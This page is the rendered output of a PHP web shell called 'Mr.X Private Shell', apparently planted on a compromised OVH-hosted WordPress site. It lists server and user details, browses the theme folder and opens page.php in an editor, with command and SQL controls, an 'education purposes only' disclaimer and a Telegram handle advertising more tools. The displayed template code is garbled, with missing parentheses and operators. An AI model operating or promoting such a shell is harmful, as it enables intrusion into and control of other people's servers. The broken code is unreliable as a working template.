Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/themes/////bahamas      ( Reset | Go to )
File Name: page.php
Edit
<?php 
if ( ! defined'ABSPATH' ) ) {
    exit; 
// Exit if accessed directly.
}
?>


<?php get_header(); ?>

<?php if(has_post_thumbnail()){
            if(
wp_is_mobile()){
                
$slide get_the_post_thumbnail_urlnull'medium' );
            } else{
                
$slide get_the_post_thumbnail_urlnull'full' );
            }
            
        } else{
            
$slide get_header_image();
        }

        if(
has_post_thumbnail() || has_header_image()){
            if(!
show_title()){
                
$titolo '<div class="corp"><h1 class="main-title">'get_the_title() .'</h1></div>';
            }
            if(!
show_image()){
               echo 
'<div class="page-hero" style="background-image: url('$slide .');">'.(isset($titolo) ? $titolo null).'</div>';
            }
            
        }

 
?>        


<div class="pagina corp">       
    <div class="contenuto">   
        <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
        <?php the_content(); ?>
        <?php endwhile; endif; ?>
    </div> 
</div>


<?php get_footer(); ?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL